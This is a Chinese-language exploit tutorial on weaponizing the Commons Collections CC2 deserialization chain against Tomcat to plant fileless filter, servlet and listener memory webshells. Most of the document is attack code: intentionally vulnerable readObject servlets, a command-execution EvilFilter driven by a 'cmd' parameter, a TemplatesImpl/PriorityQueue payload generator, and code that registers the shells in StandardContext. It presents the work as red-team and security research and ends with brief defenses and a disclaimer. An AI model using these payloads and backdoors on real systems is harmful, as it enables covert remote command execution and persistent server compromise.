CC2反序列化武器化:一站式实现三大内存马持久化
字数 1990 2025-11-18 12:04:48
CC2反序列化武器化:一站式实现三大内存马持久化技术文档
1. 引言
1.1 无文件攻击背景
在网络安全防御体系日趋完善的背景下,传统文件型攻击手段面临严峻挑战。杀毒软件的实时监控、文件完整性校验、静态特征检测等技术使得基于文件落地的恶意代码难以长期存活,无文件攻击技术因此兴起。
1.2 无文件攻击本质特征
- 内存驻留性:恶意代码直接运行在进程内存空间中,不产生或极少产生磁盘文件痕迹
- 进程寄生性:依赖合法进程作为载体,将恶意代码注入到系统信任的进程中执行
- 环境融合性:利用系统原生功能或应用程序的正常组件作为执行环境
1.3 持久化机制技术原理
- 上下文绑定:将恶意组件注册到应用程序的运行时上下文中
- 请求链路嵌入:将恶意代码植入HTTP请求处理的关键路径上
- 依赖关系建立:通过建立与核心组件的依赖关系,使内存马生存周期与应用程序绑定
1.4 反序列化漏洞的优势
- 信任边界穿透:反序列化操作通常发生在应用程序信任边界内部
- 代码执行桥梁:通过反序列化链将数据转换成代码执行
- 业务隐蔽性:反序列化流量被视为正常业务数据,难以被传统安全设备识别
2. 漏洞利用前提条件
2.1 基本要求
- 可用的反序列化漏洞:找到接受序列化数据的入口点(HTTP参数、RMI等)
- 合适的利用链:目标环境需存在包含漏洞的第三方库(Commons Collections、fastjson等)
- 执行任意代码的能力:利用链最终需能执行Java代码
2.2 内存马注入关键
- 获取Web上下文:获取当前Web容器的上下文(如StandardContext)
- 动态注册恶意组件:向容器动态注册Filter、Controller等组件
- 内存马兼容性:内存马需与目标中间件及JDK版本兼容
2.3 环境与工具
- 中间件与框架:Tomcat、Spring、WebLogic等
- 依赖库:Javassist用于动态生成字节码
3. 环境搭建
3.1 服务端环境配置
<!-- 服务端环境 -->
web服务端:tomcat 9.0.107
JDK版本:1.8.0_202(多数Java 8版本可用)
第三方库:Commons Collections 4.0
3.2 Maven项目配置
<project xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>JNDI_Memory</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.107</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
3.3 Web.xml配置
<web-app>
<servlet>
<servlet-name>upServlet</servlet-name>
<servlet-class>com.ser.UpServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>upServlet</servlet-name>
<url-pattern>/upload</url-pattern>
</servlet-mapping>
</web-app>
4. 漏洞页面实现
4.1 上传页面Servlet(存在反序列化漏洞)
@MultipartConfig
public class UpServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
Part filePart = req.getPart("file");
String fileName = filePart.getSubmittedFileName();
if (fileName == null || fileName.isEmpty()) {
resp.getWriter().write("请选择文件");
return;
}
InputStream fileInputStream = filePart.getInputStream();
byte[] fileBytes = readFileBytes(fileInputStream);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(fileBytes));
resp.getWriter().println("succeed--");
try {
ois.readObject(); // 反序列化漏洞点
ois.close();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
private byte[] readFileBytes(InputStream inputStream) throws IOException {
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
int read;
byte[] data = new byte[1024];
while ((read = inputStream.read(data, 0, data.length)) != -1) {
buffer.write(data, 0, read);
}
buffer.flush();
return buffer.toByteArray();
}
}
4.2 测试页面Servlet
@WebServlet("/post")
public class PostTest extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String base64 = req.getParameter("base64");
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream bis = new ByteArrayInputStream(decode);
ObjectInputStream ois = new ObjectInputStream(bis);
try {
ois.readObject(); // 反序列化漏洞点
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} finally {
ois.close();
}
}
}
5. CC2利用链原理分析
5.1 CC2链核心组件
- PriorityQueue:触发比较器执行的队列类
- TransformingComparator:用于转换比较的比较器
- TemplatesImpl:加载和执行恶意字节码的核心类
- InvokerTransformer:通过反射调用指定方法
5.2 利用链执行流程
- 反序列化PriorityQueue对象
- PriorityQueue在反序列化过程中触发排序操作
- 排序调用TransformingComparator的compare方法
- compare方法调用InvokerTransformer的transform方法
- transform方法通过反射调用TemplatesImpl的newTransformer方法
- newTransformer方法触发字节码加载和执行
6. 攻击端实现
6.1 获取Web上下文(StandardContext)
// 通过线程上下文类加载器获取StandardContext
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = null;
try {
Field field = webappClassLoaderBase.getClass().getDeclaredField("resources");
field.setAccessible(true);
Object root = field.get(webappClassLoaderBase);
field = root.getClass().getDeclaredField("context");
field.setAccessible(true);
standardContext = (StandardContext) field.get(root);
} catch (Exception e) {
e.printStackTrace();
}
6.2 恶意Filter类实现
public class EvilFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
servletResponse.getWriter().println(line);
}
reader.close();
} catch (Exception e) {
e.printStackTrace();
}
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {}
}
6.3 CC2利用链POC实现
public class CC2Exploit {
public static byte[] generatePayload() throws Exception {
// 使用Javassist生成恶意字节码
ClassPool classPool = ClassPool.getDefault();
CtClass evilFilterClass = classPool.makeClass("EvilFilter");
evilFilterClass.setSuperclass(classPool.get("javax.servlet.http.HttpServlet"));
// 创建恶意代码
CtConstructor constructor = evilFilterClass.makeClassInitializer();
constructor.setBody(
"try {" +
" javax.servlet.ServletContext context = getServletContext();" +
" org.apache.catalina.core.ApplicationContext appContext = " +
" (org.apache.catalina.core.ApplicationContext) context;" +
" org.apache.catalina.core.StandardContext standardContext = " +
" (org.apache.catalina.core.StandardContext) appContext.getContext();" +
" // 动态注册Filter的代码..." +
"} catch (Exception e) { e.printStackTrace(); }"
);
byte[] evilBytecode = evilFilterClass.toBytecode();
// 构建CC2利用链
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "evil");
setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecode});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
Object[] queueArray = new Object[]{templates, templates};
setFieldValue(queue, "queue", queueArray);
setFieldValue(queue, "size", 2);
// 序列化payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
return bos.toByteArray();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
7. 三大内存马实现
7.1 Filter内存马注入
// 动态注册Filter到StandardContext
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(EvilFilter.class.getName());
filterDef.setFilter(new EvilFilter());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
// 初始化Filter
Filter filter = new EvilFilter();
filter.init(null);
7.2 Servlet内存马注入
// 创建Wrapper并注册Servlet
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("evilServlet");
wrapper.setLoadOnStartup(1);
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/evil", "evilServlet");
7.3 Listener内存马注入
// 注册恶意Listener
standardContext.addApplicationEventListener(new EvilListener());
8. 完整攻击流程
8.1 攻击步骤
- 探测漏洞:确认目标存在反序列化漏洞入口
- 环境检测:识别目标中间件版本和依赖库
- 构造payload:根据目标环境生成对应的CC2利用链
- 注入内存马:通过反序列化执行恶意代码,动态注册内存马
- 维持访问:通过内存马建立持久化后门
8.2 防御检测
- 输入验证:对反序列化数据源进行严格校验
- 类过滤:使用ObjectInputFilter限制可反序列化的类
- 安全配置:及时更新依赖库,移除不必要的序列化功能
- 监控检测:监控异常反序列化操作和动态组件注册行为
9. 技术要点总结
9.1 关键技术创新点
- 结合CC2反序列化链与内存马注入技术
- 实现一站式三大内存马(Filter、Servlet、Listener)持久化
- 通过动态字节码生成技术绕过静态检测
9.2 技术难点解决方案
- 上下文获取:通过线程类加载器机制获取StandardContext
- 兼容性问题:适配不同Tomcat版本和JDK环境
- 隐蔽性保障:内存驻留,无文件落地
9.3 应用场景
- 红队渗透测试中的权限维持
- 安全研究中的攻击技术验证
- 企业安全防护能力评估
10. 免责声明
本文仅用于安全研究和教育目的,任何个人或组织不得将文中描述的技术用于非法用途。使用者应遵守《中华人民共和国网络安全法》等相关法律法规,因滥用技术而导致的任何后果由使用者自行承担。